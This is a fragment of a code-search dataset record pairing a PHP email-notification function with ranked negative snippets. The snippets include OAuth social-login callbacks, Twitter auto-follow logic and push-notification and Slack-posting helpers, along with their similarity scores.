$connection->requestTokenURL = $wordpress_host . \"/oauth1/request\";\n \n $callback = $CFG->wwwroot . '/auth/wordpress/callback.php';\n $tempCredentials = $connection->getRequestToken($callback);\n \n $_SESSION['oauth_token'] = $tempCredentials['oauth_token'];\n $_SESSION['oauth_token_secret'] = $tempCredentials['oauth_token_secret'];\n \n $connection->authorizeURL = $wordpress_host . \"/oauth1/authorize\";\n \n $redirect_url = $connection->getAuthorizeURL($tempCredentials);\n \n header('Location: ' . $redirect_url);\n die;\n }// if \n }", "public function handleProviderCallback(Request $request, $provider)\n {\n try {\n $twitterId = null;\n $linkedinId = null;\n $facebookId = null;\n $googleId = null;\n\n //Redirect to login page if user cancel the login\n if ($request->has('error')) {\n return redirect()->to('login');\n }\n\n //Get user details from facebook\n if ($provider == 'twitter') {\n $socialUser = Socialite::driver($provider)->user();\n $twitterId = $socialUser->id;\n\n\n } else if($provider == 'linkedin') {\n $socialUser = Socialite::driver($provider)->stateless()->user();\n $linkedinId = $socialUser->id;\n\n } else if($provider == 'facebook') {\n $socialUser = Socialite::driver($provider)->stateless()->user();\n $facebookId = $socialUser->id;\n\n } else if($provider == 'google') {\n $socialUser = Socialite::driver($provider)->stateless()->user();\n $googleId = $socialUser->id;\n\n }\n\n $email = $socialUser->email;\n\n //Find email id in user table\n $findUser = User::where('email', $email)->first();\n //dd($findUser);\n //Authenticate and update twitter_id or linkedin_id or facebook_id of user if email id found\n if (count($findUser) == 1) {\n\n if ($provider == 'twitter') {\n $findUser->is_verify = 1;\n $findUser->twitter_id = $twitterId;\n $findUser->save();\n\n } else if ($provider == 'linkedin') {\n $findUser->is_verify = 1;\n $findUser->linkedin_id = $linkedinId;\n $findUser->save();\n\n } else if ($provider == 'facebook') {\n $findUser->is_verify = 1;\n $findUser->facebook_id = $facebookId;\n $findUser->save();\n }\n\n Auth::login($findUser);\n return redirect()->route('customer.index');\n\n } else {\n //Create new user if email id not found\n $user = new User();\n $user->name = $socialUser->name;\n $user->email = $socialUser->email;\n $user->is_verify = 1;\n $user->twitter_id = $twitterId;\n $user->linkedin_id = $linkedinId;\n $user->facebook_id = $facebookId;\n $user->google_id = $googleId;\n\n if($user->save()) {\n $user->attachRole(config('app.roles.user.id'));\n Auth::login($user);\n return redirect()->route('customer.index');\n }\n }\n\n } catch (Exception $ex) {\n return redirect()->to('login')->with('failure', $ex->getMessage());\n }\n }", "public function handleDropboxCallback()\n {\n try {\n $user = Socialite::driver('dropbox')->user();\n $finduser = User::where('dropbox_id', $user->id)->first();\n if($finduser) {\n Auth::login($finduser);\n return redirect('/dashboard');\n }else{\n $newUser = User::create([\n 'name' => $user->name,\n 'email' => $user->email,\n 'dropbox_id' => $user->id,\n 'dropbox_avatar' => $user->avatar,\n 'password' => encrypt('123456dummy')\n ]);\n Auth::login($newUser);\n \n return redirect('/dashboard');\n }\n \n } catch (Exception $e) {\n dd($e->getMessage());\n }\n }", "public function handleProviderCallback($provider)\n {\n $user = Socialite::driver($provider)->stateless()->user();\n\t$authUser = $this->findOrCreateUser($user, $provider);\n\tAuth::login ($authUser, true);\n //dd($user);\n \n //$token = $user->token; \n\treturn redirect($this->redirectTo);\n }", "public function handleProviderCallback()\n {\n $googleApi = Socialite::driver('google')->user();\n $currentUserRp = User::where('Email', $googleApi->getEmail())->first();\n $sessionId = $this->generateRandomString(10);\n\n if( $currentUserRp )\n {\n Auth::login($currentUserRp);\n\n $currentUserRp->google_id = $googleApi->getId();\n $currentUserRp->google_lastsessionid = $sessionId;\n $currentUserRp->save();\n \n $currentGoogleUser = googleUser::find($googleApi->getId());\n $currentGameUser = gameUser::find(Auth::user()->ID);\n\n if( !$currentGoogleUser )\n {\n $addGooglerUser = googleUser::create([ \n 'gouser_id' => $googleApi->getId(),\n 'gouser_name' => $googleApi->getName(),\n 'gamuser_id' => Auth::user()->ID,\n 'gouser_nick' => Auth::user()->Nick,\n 'gouser_avatar' => $googleApi->getAvatar(),\n 'gouser_email' => $googleApi->getEmail(),\n 'gouser_ip' => $_SERVER[\"HTTP_CF_CONNECTING_IP\"],\n ]);\n }\n\n if( !$currentGameUser )\n {\n $addGameUser = gameUser::create([ \n 'gamuser_id' => Auth::user()->ID,\n 'gamuser_nick' => Auth::user()->Nick,\n ]);\n }\n\n $logGoogleLogin = googleUserLogin::create([\n 'gosession_token' => $sessionId,\n 'gouser_ip' => $_SERVER[\"HTTP_CF_CONNECTING_IP\"],\n 'gouser_id' => $googleApi->getId()\n ]);\n\n return redirect('/');\n }\n else\n {\n return redirect()->route(\"api.result\", ['result_state' => 'error', 'result_aux' => \"ERR04\"]);\n }\n\n\n\n\n /*\n $myUser = Socialite::driver('google')->user();\n $manageUser = User::where('Email', $myUser->getEmail())->first();\n\n if( !$manageUser )\n {\n // $manageUser = User::create([\n // 'name' => $myUser->getName(),\n // 'email' => $myUser->getEmail(),\n // 'google_id' => $myUser->getId(),\n // 'google_avatar' => $myUser->getAvatar(),\n // ]);\n return redirect('/unkownemail');\n }\n else {\n Auth::login($manageUser);\n\n if( Auth::user()->Certificado < env(\"AUTH_MINIMUM_CERTIFICATE\") )\n {\n return redirect('/invalidcert');\n }\n\n return redirect('/');\n }\n \n // $user->token;\n */\n }", "public function handle(Twitter $twitter)\n {\n\t\ttry\n\t\t{\n\t\t\t$userIDs = $twitter->get_users_to_follow();\n\t\t\tif (count($userIDs) > 0)\n\t\t\t{\n\t\t\t\t//follow the user...\n\t\t\t\t$userID = reset($userIDs);\n\t\t\t\t$userData = $twitter->mute_user($userID);\n\t\t\t\t$userData = $twitter->follow_user($userID);\n\n\t\t\t\t//remove the user from our list of users to follow...\n\t\t\t\t$twitter->remove_user_to_follow($userID);\n\n\t\t\t\t//add the user to our list of followed users (to potentially be unfollowed later)...\n\t\t\t\t$twitter->add_followed_user($userID);\n\n\t\t\t\t$this->info('Followed ' . $userData['screen_name'] . '!');\n\t\t\t}\n\t\t\telse\n\t\t\t\t$this->warn(\"There aren't any users waiting to be followed\");\n\t\t}\n\t\tcatch(\\TwitterRateLimitException $e)\n\t\t{\n\t\t\t$this->error($e->getMessage());\n\t\t}\n\t\tcatch(\\Exception $e)\n\t\t{\n\t\t\t$this->error($e->getMessage());\n\t\t\tif ($userID)\n\t\t\t{\n\t\t\t\t$twitter->remove_user_to_follow($userID);\n\t\t\t\t$this->error('Removed user #' . $userID . ' from our list of users to follow, since following them doesn\\'t seem to be working');\n\t\t\t}\n\t\t}\n }", "function external_auth()\n\t{\n\t\t//Check for get(google auth) as most of the logins should be that only\n\t\t//If not, check for post(fb and normal)\n\n\t\t$user_info = $this->_process_user_info();\n\t\t//var_dump($this->input->get('code'));\n\t\t\t\n\t\t$email = $user_info['email'];//trim($this->input->post('email'));\n\t\t$username = $user_info['username']; //trim($this->input->post('username'));\n\t\t\n\t\tif($this->users->is_email_available($email))\n\t\t{\n\t\t\t//First time fb_Login, create new user\n\t\t\t$this->_external_register($email, $username);\n\t\t}\n\n\t\t//get the user by email\n\t\t$user = $this->users->get_user_by_email($email);\n\n\t\t//Sign-in\n\t\t$this->_external_login($user->id, $user->username);\n\t}", "public function main()\n {\n if( isset( $this->config['oauth_id'] ) && isset( $this->config['oauth_secret'] ) && isset( $this->config['oauth_token'] ) )\n $this->redirect( '' );\n \n // If we're already configured, we just need a token now.\n if( isset( $this->config['oauth_id'] ) && isset( $this->config['oauth_secret'] ) )\n $this->redirect( 'oauth/token' );\n }", "public function handleProviderCallback()\n {\n\n try {\n $facebook_user = Socialite::driver('facebook')\n ->fields([\n 'name',\n 'first_name',\n 'last_name',\n 'email',\n 'verified',\n \"id\"\n ])->user();\n } catch (Exception $e) {\n return Redirect::route(\"client::pages.index\")->withErrors([\"Servicio temporalmente no disponible\"]);\n }\n\n if (!filter_var( $facebook_user->getEmail() , FILTER_VALIDATE_EMAIL)) {\n return Socialite::driver('facebook')->reRequest()->redirect();\n }\n\n $local_users = User::withTrashed()\n\t\t\t->where([\"email\" => $facebook_user->getEmail()])\n\t\t\t->orWhere([\"facebook_id\" => $facebook_user->getId()])\n\t\t\t->get();\n\n switch ($local_users->count()) {\n case 0:\n\n $data = [\n \"name\" => User::createUniqueUsername( $facebook_user->getName() , \"\" ),\n \"active\" => true,\n 'email' => $facebook_user->getEmail(),\n 'first_name' => isset($facebook_user->user[\"first_name\"]) ? $facebook_user->user[\"first_name\"] : \"\",\n 'last_name' => isset($facebook_user->user[\"last_name\"]) ? $facebook_user->user[\"last_name\"] : \"\",\n 'password' => User::setRandomPassword(),\n 'facebook_id' => $facebook_user->getId(),\n ];\n\n $local_user = User::CltvoCreate($data);\n\n break;\n case 1:\n\n $local_user = $local_users->first();\n\n if ($local_user->facebook_id != $facebook_user->getId()) {\n $local_user->facebook_id = $facebook_user->getId();\n $local_user->save();\n }\n\n break;\n default:\n $local_user = $local_users->where(\"facebook_id\" , $facebook_user->getId())->first();\n break;\n }\n\n\n if ($local_user) {\n foreach ($this->cookie_bags as $bag_key) {\n $bag_user = BagUser::where([\"user_id\"=> null])->with(\"bag\")->whereHas(\"bag\",function($q) use ($bag_key) {\n return $q->ByKey($bag_key)->Actives();\n })->first();\n if ($bag_user) {\n $bag_user->user_id = $local_user->id;\n $bag_user->save();\n }\n }\n }\n\n\t\tif ($local_user->trashed()) {\n\t\t\treturn Redirect::back()->withErrors([\n 'active' => \"La cuenta a sido desactivada\"\n ]);;\n\t\t}\n\t\tif( !$local_user->isActive() ){\n\t\t\treturn Redirect::back()->withErrors([\n\t\t\t\t'active' => \"te enviamos un correo para activar tu cuenta\"\n\t\t\t]);\n\t\t}\n\n Auth::login($local_user);\n return Redirect::to($this->redirectPath());\n }", "public function callback()\n {\n if (!$this->request->getQuery('code')) {\n $authUrl = $this->GoogleApi->createAuthUrl();\n return $this->redirect(filter_var($authUrl, FILTER_SANITIZE_URL));\n } else {\n $this->GoogleApi->authenticate($this->request->getQuery('code'));\n $this->redirect(\n [\n 'controller' => 'GoogleApis',\n 'action' => 'index'\n ]\n );\n }\n }", "public function handleProviderCallback()\n {\n \t$error = \\Request::input('error');\n \tif($error != \"access_denied\"){\n \t$user = Socialite::driver('facebook')->user();\n \t\n $us = User::find( \\Auth::user()->id );\n $us->avatar = $user->getAvatar();\n $us->idSocial = $user->getId();\n $us->save();\n\n \treturn redirect('/');\n \t}\n else\n \treturn redirect('/');\n\n }", "public function handleProviderCallback($provider)\n {\n $user = Socialite::driver('facebook')->stateless(false)->user();\n\n if($user->email)\n {\n $userCreated = User::where('email', $user->email)->first();\n $authUser = $this->findOrCreateUser($user, $provider);\n if($authUser !== 0 && $authUser !== -1)\n {\n Auth::login($authUser, true);\n Session::put('facebookId', $authUser->id);\n if($userCreated)\n return redirect('/');\n else\n return redirect('userProfile');\n }\n else if($authUser == -1)\n {\n //return redirect(route('login'))->with('status','Account has been removed');\n return redirect(route('home'))->with('status','Account has been removed');\n }\n else\n {\n //return redirect(route('login'))->with('status','Your account is pending for approval');\n return redirect(route('home'))->with('status','Your account is pending for approval');\n }\n }\n else\n {\n Session::flash('status', trans('header.Email Required Facebook'));\n return redirect('register');\n }\n }" ]
[ "0.7475294", "0.7417158", "0.715611", "0.6884492", "0.6866934", "0.68483645", "0.6827211", "0.6771592", "0.67118204", "0.66646576", "0.6659212", "0.659853", "0.6492194", "0.64831465", "0.64755946", "0.6414651", "0.638114", "0.63667583", "0.6309072", "0.6265936", "0.624094", "0.62344813", "0.6215993", "0.61508924", "0.6149476", "0.6149064", "0.61232775", "0.609481", "0.6046966", "0.6037355", "0.60307205", "0.6015148", "0.60024786", "0.5962894", "0.59426546", "0.5911721", "0.5892858", "0.58834577", "0.5881816", "0.58775705", "0.58502156", "0.58161455", "0.58121216", "0.5811909", "0.5808644", "0.5797454", "0.5787879", "0.57821566", "0.5763629", "0.5752969", "0.5733426", "0.57330525", "0.57313263", "0.5723301", "0.57154626", "0.5712953", "0.5704529", "0.5690407", "0.5689461", "0.56791914", "0.56646293", "0.56611025", "0.56505287", "0.5648197", "0.56440765", "0.56421155", "0.56342417", "0.56329584", "0.56287885", "0.56268466", "0.5622215", "0.561303", "0.5612558", "0.56066304", "0.5597084", "0.5590635", "0.5590504", "0.55888647", "0.558326", "0.5583173", "0.55811214", "0.5580293", "0.5576928", "0.55695856", "0.5568804", "0.55549043", "0.5554773", "0.55526114", "0.5545461", "0.55436176", "0.55421346", "0.55398655", "0.5507238", "0.5506642", "0.5502723", "0.55013186", "0.55000836", "0.5491007", "0.5488373", "0.54863566" ]
0.7532611
0
/$data['notificationTitle'] = 'Example Title'; $data['notificationToName'] = 'Example To Name'; $data['notificationHTML'] = 'Test HTML'; $data['notificationBody'] = 'Information can go here what this notification is about';
public function sendEmail($data) { // Create a message $message = (new \Swift_Message($data['notificationTitle'])) ->setFrom(['[email protected]' => 'PwBox']) ->setTo([$data['notificationEmail'] => $data['notificationToName']]) ->setBody($data['notificationHTML']); // Send the message $result = $this->mailer->send($message); $repo = $this->container->get('user_repository'); $repo->insertNotification($data['notificationId'], $data['notificationTitle'], $data['notificationBody']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function _osg_singout_notifier_prep_message($info,$data) {\n global $base_url;\n $message = array();\n $separator = md5(time());\n // carriage return type (we use a PHP end of line constant)\n $eol = PHP_EOL;\n\n //$params['to'] = $record['email'];\n $recipient = $info['first_name'].' '.$info['last_name'].' <[email protected]'.'>';\n $sender = variable_get('site_mail', '[email protected]');\n $message['subject'] = 'These Performances are available for registration.';\n $fudge = count($data) > 2?'s':'';\n $fudge = \"Please visit <a href=\\\"$base_url\\\">\".variable_get('site_name','[Some Cool Site]').\"</a>\"\n .\" and indicate your attendance plan for the following event$fudge:\";\n $data[0] = $fudge;\n $body = implode(\"<br>\",$data);\n\n\n\n $message['body'] = $body;\n\n debug($message,'$message');\n //drupal_mail($module, $key, $to, $language, $params = array(), $from = NULL, $send = TRUE)\n drupal_mail('osg_singout_notifier'\n , 'registration_needed'\n , $recipient\n , language_default()\n , $message\n , $sender\n );\n\n}", "function cmj_slack_notification( $_param1, $_param2 = null, $_param3 = null, $_param4 = null ) {\n // The Slack user name for the person the messages should come from.\n // Create a new user in Slack if you like or use an existing one.\n\t$_username = 'myname';\n // Name of the channel you want messages to appear in (without a preceding hashtag - just the channel name).\n\t$_channel = 'orders';\n // The message you want to send.\n\t$_msg = 'New order to ship #' . intval( $_param1 );\n // This script uses the simple token authentication. If you need something more have fun with OAuth https://api.slack.com/docs/oauth\n // Your Slack API token: https://api.slack.com/docs/oauth-test-tokens\n\t$_token = 'whatever-your-token-is';\n\t$_url = 'https://slack.com/api/chat.postMessage'\n\t\t. '?token=' . $_token\n\t\t. '&username=' . $_username\n\t\t. '&channel=' . $_channel\n\t\t. '&text=' . urlencode( $_msg );\n\t$_json = file_get_contents( $_url ); // you can use the Wordpress function wp_remote_get() instead if you prefer\n return $_json;\n}", "function SDKNotifications($message){\r\n echo \"<h4>$message</h4>\";\r\n}", "function parse_push_notifications_send($message){\n\n\t//$data = array(\"alert\" => $message);\n\n ParsePush::send(array(\n \"channels\" => array( \"Ryan\" ),\n data => array(\n \"alert\" => $message,\n )\n ));\n\n // Notification for iOS users\n// $queryIOS = ParseInstallation::query();\n// $queryIOS->equalTo('deviceType', 'ios');\n\n// ParsePush::send(array(\n// \"where\" => $queryIOS,\n// \"data\" => array(\n// \"alert\" => $message\n// )\n// ));\n\n }", "function view_result_notification(){\n\t\t$email = new CakeEmail();\n\t\t$email->config('smtp');\n\t\t$email->emailFormat('html');\n\t\t$email->template('phc');\n\t\t$email->to('[email protected]'); //User email\n\t\t$email->subject('PHC sample');\n\t\n\t\t\n\t\t// $email->viewVars(array('userid'=>$userid,'username'=>$username,'name'=>$name,'token'=>$token,'email_content'=>$email_content,'memberType'=>$memberType,'email_type'=>$email_type));\n\t\tif($email->send('Smtp'))\n\t\t\t$status = 'success';\n\t\telse\n\t\t\t$status = 'failed';\n\t\t\t\n\t\t$this->set('data',$status);\n \t$this->header('Content-Type:text/json');\n\t\t$this->render('/Common/json');\n\t}", "function send_notification_mail($notification_array){\n\t\n\t$type = $notification_array['type'];\n\t\n\t//To send follow notification email\t\n\tif($type === 'follow'){\n\t\t\n\t\t$following_username = $notification_array['following_username'];\n\t\t$followed_username = $notification_array['followed_username'];\n\t\t$to_email = $followed_email = $notification_array['followed_email'];\n\t\n\t}\n\t//To send comment notification email\t\n\telseif($type === 'comment'){\n\t\t\n\t\t$commentAuthorUsername = $notification_array['commentAuthorUsername'];\n\t\t$postAuthorUsername = $notification_array['postAuthorUsername'];\n\t\t$to_email = $postAuthorEmail = $notification_array['postAuthorEmail'];\n\t}\n\t//To send like notification email\t\n\telseif($type === 'like'){\n\t\t\n\t\t$likerUsername = $notification_array['likerUsername'];\n\t\t$postAuthorUsername = $notification_array['postAuthorUsername'];\n\t\t$to_email = $postAuthorEmail = $notification_array['postAuthorEmail'];\n\t}\n\t\n\tob_start();\n\tinclude('email_templates/notification.php');\n\t$notification_template = ob_get_contents();\t\t\t\n\tob_end_clean();\n\t\n\t\n\t\n\t$to = '[email protected]'; \n\t/*$to = $to_email; //please uncomment this when in live*/\n\t$strSubject = \"Notification mail\";\n\t$message = $notification_template; \n\t$headers = 'MIME-Version: 1.0'.\"\\r\\n\";\n\t$headers .= 'Content-type: text/html; charset=iso-8859-1'.\"\\r\\n\";\n\t$headers .= \"From: [email protected]\"; \n\t\n\tif(mail($to, $strSubject, $message, $headers)){\n\t\treturn 'Mail send successfully';\n\t}else{\n\t\treturn 'Could not send email';\n\t} \n\t\n}", "public function NotificationContent(){\n\t\treturn $this->config()->html_notifications ? $this->NotificationHTML : $this->NotificationText;\n\t}", "public function view_notification()\n\t{\n\t\t$this->admin_header();\n\t\t\n\t\t//check and confirm if the total url segment is 3\n\t\t$url_segments = $this->uri->total_segments();\n\t\t\n\t\tif ($url_segments == 3) {\n\t\t\t//retrieved the unreviewed property id\n\t\t\t$notification_id = $this->uri->segment(3);\n\t\t\t\n\t\t\t//retrieve from the database all the details of this property\n\t\t\t$result = $this->Admin_model->fetch_notification_message($notification_id);\n\t\t\t\n\t\t\tif ($result === FALSE) {\n\t\t\t\tredirect('Admin/notification_list');\n\t\t\t}\n\t\t\t\n\t\t\t$data['notification_details'] = $result;\n\t\t\t\n\t\t\t$this->add_category_template('notification_message', $data);\n\t\t\t\n\t\t}else {\n\t\t\tredirect('Admin/notification_list');\n\t\t}\n\t}", "function getNotification(){\n\n\n}", "public static function create($notification){\n }", "public function testPushNotification(){\n $noti=new Notification();\n $data=' {\n\t \"to\": \"/topics/important\",\n\t \"notification\": {\n\t \t\"title\": \"Hola Mundo\",\n\t\t \"body\": \"Mensaje de prueba\",\n\t\t \"icon\":\"http://www.alabamapublica.com/wp-content/uploads/sites/43/2017/06/cntx170619019-150x150.jpg\"\n\t\t \"click_action\": \"https://critica-xarkamx.c9users.io\"\n\t }\n }';\n $this->assertArrayHasKey(\"message_id\",$noti->sendPushNotification($data));\n }", "function notifications()\r\r\n\t{\r\r\n\t\t$table \t\t\t\t\t\t\t= 'notifications';\r\r\n\t\t$condition \t\t\t\t\t\t= '';\r\r\n\t\tif ($this->uri->segment(3)) {\r\r\n\t\t\t$notificationId \t\t\t= $this->uri->segment(3);\r\r\n\t\t\t$condition['nid'] \t\t\t= $notificationId;\t\t\t\r\r\n\t\t}\r\r\n\t\t$notifications \t\t\t\t\t= $this->base_model->fetch_records_from(\r\r\n\t\t$table, \r\r\n\t\t$condition, \r\r\n\t\t$select \t\t\t\t\t\t= '*', \r\r\n\t\t$order_by \t\t\t\t\t\t= ''\r\r\n\t\t);\r\r\n\t\t$this->data['notifications'] \t= $notifications;\r\r\n\t\tif ($this->uri->segment(3)) {\r\r\n\t\t\t$this->data['notificationTitle'] = $notifications[0]->title;\r\r\n\t\t}\r\r\n\t\t$this->data['content'] \t\t\t= 'general/notifications';\r\r\n\t\t$this->_render_page('temp/template', $this->data);\r\r\n\t}", "public function notification() {\n\t\t$this->page_data['page_name'] = \"notification\";\n\t\t$this->page_data['page_title'] = 'notification';\n\t\t$this->page_data['page_view'] = 'user/notification';\n\n\t\t$this->page_data['company_add_request_list'] = $this->corporate_model->get_company_list(\n\t\t\t\"OBJECT\",\n\t\t\tarray(\n\t\t\t\t'company_user' => array('company_id', 'corporate_role', 'designation_id', 'department_id', 'request_status'),\n\t\t\t\t'company' => array('name as company_name'),\n\t\t\t\t'designation' => array('name as designation'),\n\t\t\t\t'department' => array('name as department'),\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'company_user.user_id' => $this->session->userdata('user_id'),\n\t\t\t\t'company_user.request_status' => 'PENDING',\n\t\t\t)\n\t\t);\n\n\t\t$this->load->view('index', $this->page_data);\n\n\t}", "public function notification(Notification $notification, array $parameters = []);", "function send_notification($notification_array = array()) {\n App::import('Model', 'UserNotification');\n $this->UserNotification = new UserNotification();\n $notification['UserNotification'] = $notification_array;\n $this->UserNotification->save($notification);\n }", "function itsec_import_export_register_notification( $notifications ) {\n\n\t$notifications['import-export'] = array(\n\t\t'subject_editable' => true,\n\t\t'message_editable' => true,\n\t\t'recipient' => ITSEC_Notification_Center::R_PER_USE,\n\t\t'schedule' => ITSEC_Notification_Center::S_NONE,\n\t\t'tags' => array( 'date', 'time', 'site_title', 'site_url' ),\n\t\t'module' => 'import-export',\n\t);\n\n\treturn $notifications;\n}", "function host_cancle($from, $to, $togcm, $type, $message, $sender_name, $event_refrence){\n$arr = array(\"host\" => $from,\n\t \"to_id\" => $to,\n\t \"payload_type\" => $type,\n\t \"sender_name\" => $sender_name,\n\t \"event_reference\" => $event_refrence,\n \"payload_message\" => $message);\n$new_payload = json_encode($arr);\nsend_gcm_notify($togcm, $new_payload);\n}", "public function Notification() {\r\n\t\t//$this->template->set_theme('default_theme');\r\n\t\t$uid = $_SESSION ['olouserid'];\r\n\t\tif(!empty($uid)){\r\n\t\t\t$this->load->library ( 'zyk/UserLib' );\r\n\t\t\t$detail = $this->userlib->getNotification($uid);\r\n\t\t\t$this->template->set('detail',$detail);\r\n\t\t\t$this->template->set ( 'description', '' );\r\n\t\t\t$this->template->set_layout (false);\r\n\t\t\t$this->template->set_layout ('default')\r\n\t\t\t->title ( 'Garage2Ghar' )\r\n\t\t\t->set_partial ( 'header', 'partials/header' )\r\n\t\t\t->set_partial ( 'footer', 'partials/footer' );\r\n\t\t\t$this->template->build ('Order/notification');\r\n\t\t}else{\r\n\t\t\tredirect(base_url());\r\n\t\t}\r\n\t}", "function sendNotification($registrationIds,$heading,$subtitle){\r\n \r\n $msg = array\r\n (\r\n 'message' => $heading,\r\n 'title' => \"TITLE\",\r\n 'subtitle' => $subtitle,\r\n 'tickerText' => $subtitle,\r\n 'vibrate' => 1,\r\n 'sound' => 1,\r\n 'largeIcon' => 'large_icon',\r\n 'smallIcon' => 'small_icon',\r\n 'noti_type' => 2\r\n );\r\n\r\n $fields = array\r\n (\r\n 'registration_ids' => $registrationIds,\r\n 'data' => $msg\r\n );\r\n \r\n $headers = array\r\n (\r\n 'Authorization: key=' . API_ACCESS_KEY,\r\n 'Content-Type: application/json'\r\n );\r\n \r\n // Set POST variables\r\n $url = 'https://gcm-http.googleapis.com/gcm/send';\r\n \r\n // Open connection\r\n $ch = curl_init();\r\n // Set the url, number of POST vars, POST data\r\n curl_setopt($ch, CURLOPT_URL, $url);\r\n curl_setopt($ch, CURLOPT_POST, true);\r\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n // Disabling SSL Certificate support temporarly\r\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));\r\n // Execute post\r\n $result = curl_exec($ch);\r\n if ($result === FALSE) {\r\n die('Curl failed: ' . curl_error($ch));\r\n }\r\n // Close connection\r\n curl_close($ch);\r\n return $result;\r\n }", "public function register_notifications();", "public function sendNotification()\n {\n $token = 'ckDSF-9gS-iTetSXzo4rmo:APA91bHqwzbivYmi4tRypw-dczF24ij6gwceKTxykXu_RPk2QwydTdnrxxUBVMv-t6-h52-_pZif9FpS2N3MhJnse46VyKDV1nEyx77arT4UID28MlEgQCIcVhrZ_vG_zcvX-ml1e3Ml'; // push token\n $message = \"Pada bulan Ramadhan 2020 ini kami mengadakan promosi Ramadhan diskon hingga 30% lohh!\";\n\n $this->load->library('fcm');\n $this->fcm->setTitle('Promo Ramadhan Diskon 30%, ayo cuci pakaianmu sekarang!');\n $this->fcm->setMessage($message);\n\n /**\n * set to true if the notificaton is used to invoke a function\n * in the background\n */\n $this->fcm->setIsBackground(false);\n\n /**\n * payload is userd to send additional data in the notification\n * This is purticularly useful for invoking functions in background\n * -----------------------------------------------------------------\n * set payload as null if no custom data is passing in the notification\n */\n \n $this->fcm->setPayload($payload);\n\n /**\n * Send images in the notification\n */\n $this->fcm->setImage('https://firebase.google.com/_static/9f55fd91be/images/firebase/lockup.png');\n\n /**\n * Get the compiled notification data as an array\n */\n $json = $this->fcm->getPush();\n\n $p = $this->fcm->send($token, $json);\n\n print_r($p);\n }", "function ihc_send_user_notifications($u_id=FALSE, $notification_type='', $l_id=FALSE, $dynamic_data=array(), $subject='', $message=''){\n\tglobal $wpdb;\n\t$sent = FALSE;\n\tif ($u_id && $notification_type){\n\t\t$admin_case = array(\n\t\t\t\t\t\t\t'admin_user_register',\n\t\t\t\t\t\t\t'admin_before_user_expire_level',\n\t\t\t\t\t\t\t'admin_second_before_user_expire_level',\n\t\t\t\t\t\t\t'admin_third_before_user_expire_level',\n\t\t\t\t\t\t\t'admin_user_expire_level',\n\t\t\t\t\t\t\t'admin_user_payment',\n\t\t\t\t\t\t\t'admin_user_profile_update',\n\t\t\t\t\t\t\t'ihc_cancel_subscription_notification-admin',\n\t\t\t\t\t\t\t'ihc_delete_subscription_notification-admin',\n\t\t\t\t\t\t\t'ihc_order_placed_notification-admin',\n\t\t\t\t\t\t\t'ihc_new_subscription_assign_notification-admin',\n\t\t);\n\n\t\tif (empty($subject) || empty($message)){ /// SEARCH INTO DB FOR NOTIFICATION TEMPLATE\n\t\t\tif ($l_id!==FALSE && $l_id>-1){\n\t\t\t\t$q = $wpdb->prepare(\"SELECT id,notification_type,level_id,subject,message,pushover_message,pushover_status,status FROM \" . $wpdb->prefix . \"ihc_notifications\n\t\t\t\t\t\t\t\t\t\tWHERE 1=1\n\t\t\t\t\t\t\t\t\t\tAND notification_type=%s\n\t\t\t\t\t\t\t\t\t\tAND level_id=%d\n\t\t\t\t\t\t\t\t\t\tORDER BY id DESC LIMIT 1;\", $notification_type, $l_id);\n\t\t\t\t$data = $wpdb->get_row($q);\n\t\t\t\tif ($data){\n\t\t\t\t\t\t$subject = @$data->subject;\n\t\t\t\t\t\t$message = @$data->message;\n\n\t\t\t\t\t\t$domain = 'ihc';\n\t\t\t\t\t\t$languageCode = get_user_meta( $u_id, 'ihc_locale_code', true );\n\t\t\t\t\t\t$wmplName = $notification_type . '_title_' . $l_id;\n\t\t\t\t\t\t$subject = apply_filters( 'wpml_translate_single_string', $subject, $domain, $wmplName, $languageCode );\n\t\t\t\t\t\t$wmplName = $notification_type . '_message_' . $l_id;\n\t\t\t\t\t\t$message = apply_filters( 'wpml_translate_single_string', $message, $domain, $wmplName, $languageCode );\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($l_id===FALSE || $l_id==-1 || empty($data)){\n\t\t\t\t$q = $wpdb->prepare(\"SELECT id,notification_type,level_id,subject,message,pushover_message,pushover_status,status FROM \" . $wpdb->prefix . \"ihc_notifications\n\t\t\t\t\t\t\t\t\t\tWHERE 1=1\n\t\t\t\t\t\t\t\t\t\tAND notification_type=%s\n\t\t\t\t\t\t\t\t\t\tAND level_id='-1'\n\t\t\t\t\t\t\t\t\t\tORDER BY id DESC LIMIT 1;\", $notification_type);\n\t\t\t\t$data = $wpdb->get_row($q);\n\t\t\t\tif ($data){\n\t\t\t\t\t\t$subject = @$data->subject;\n\t\t\t\t\t\t$message = @$data->message;\n\n\t\t\t\t\t\t$domain = 'ihc';\n\t\t\t\t\t\t$languageCode = get_user_meta( $u_id, 'ihc_locale_code', true );\n\t\t\t\t\t\t$wmplName = $notification_type . '_title_-1';\n\t\t\t\t\t\t$subject = apply_filters( 'wpml_translate_single_string', $subject, $domain, $wmplName, $languageCode );\n\t\t\t\t\t\t$wmplName = $notification_type . '_message_-1';\n\t\t\t\t\t\t$message = apply_filters( 'wpml_translate_single_string', $message, $domain, $wmplName, $languageCode );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($message)){\n\t\t\t$from_name = get_option('ihc_notification_name');\n\t\t\tif (!$from_name){\n\t\t\t\t$from_name = get_option(\"blogname\");\n\t\t\t}\n\t\t\t//user levels\n\t\t\t$level_list_data = get_user_meta($u_id, 'ihc_user_levels', true);\n\t\t\tif (isset($level_list_data)){\n\t\t\t\t$level_list_data = explode(',', $level_list_data);\n\t\t\t\tforeach ($level_list_data as $id){\n\t\t\t\t\t$temp_level_data = ihc_get_level_by_id($id);\n\t\t\t\t\t$level_list_arr[] = $temp_level_data['label'];\n\t\t\t\t}\n\t\t\t\tif ($level_list_arr){\n\t\t\t\t\t$level_list = implode(',', $level_list_arr);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//user data\n\t\t\t$u_data = get_userdata($u_id);\n\t\t\t$user_email = '';\n\t\t\tif ($u_data && !empty($u_data->data) && !empty($u_data->data->user_email)){\n\t\t\t\t$user_email = $u_data->data->user_email;\n\t\t\t}\n\t\t\t//from email\n\t\t\t$from_email = get_option('ihc_notification_email_from');\n\t\t\tif 